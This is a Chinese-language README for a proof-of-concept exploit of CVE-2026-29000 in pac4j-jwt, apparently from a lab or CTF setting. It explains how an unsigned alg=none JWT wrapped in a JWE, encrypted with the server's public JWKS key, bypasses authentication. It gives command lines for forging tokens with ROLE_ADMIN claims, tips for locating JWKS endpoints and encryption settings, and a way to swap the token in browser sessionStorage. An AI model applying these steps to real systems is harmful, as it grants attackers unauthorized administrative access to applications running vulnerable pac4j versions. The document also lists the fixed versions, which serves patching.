CVE-2026-29000 的概念验证。针对 4.5.9、5.7.9 和 6.3.3 之前的 pac4j-jwt 版本。
该漏洞很直接:只要 JWT 被包装在有效的 JWE 中,库就会接受 PlainJWT(未签名,alg=none)。由于服务器通过 JWKS 端点公开其 RSA 公钥,任何人都可以将任意未签名的 JWT 加密成服务器会信任的 JWE——包括带有 ROLE_ADMIN 的 JWT。
alg=none)服务器解密它,信任其中的声明,并且从不检查内部 JWT 是否未签名。
Python 3.13+ 并安装 uv,或手动安装依赖:
pip install jwcrypto requests
[uv run / python3] CVE-2026-29000.py --url <base_url> --jwks <jwks_path> [options]
必需参数:
| flag | 描述 |
|---|---|
--url | 目标的基础 URL,例如 http://10.10.11.x:8080 |
--jwks | JWKS 端点的路径或完整 URL |
可选参数:
示例:
python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks
python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks --user john --role ROLE_ADMIN
python3 exploit.py --url http://10.10.11.x:8080 --jwks /.well-known/jwks.json --enc A128GCM
并不总是显而易见的。值得查看的位置:
/robots.txt — 通常会列出受限或内部路径/api/auth/jwks/.well-known/jwks.json/.well-known/openid-configuration如果令牌被拒绝,应用可能期望特定的加密算法。检查 /static/js/app.js 中是否有类似内容:
const JWE_ALG = "RSA-OAEP-256";
const JWE_ENC = "A128GCM";
然后使用 --enc A128GCM 重新运行。
令牌存储方式通常也在其中:
class TokenManager {
static getToken() {
return sessionStorage.getItem('auth_token');
}
}
如果是 sessionStorage,直接在 DevTools 的 Application > Session Storage 下替换令牌。
已在 4.5.9、5.7.9 和 6.3.3 中修复。
| flag | 默认值 | 描述 |
|---|
--user | admin | sub 声明的值 |
--role | ROLE_ADMIN | 要伪造的角色(ROLE_ADMIN、ROLE_MANAGER、ROLE_USER) |
--issuer | principal-platform | iss 声明的值 |
--enc | A256GCM | JWE 内容加密(A256GCM 或 A128GCM) |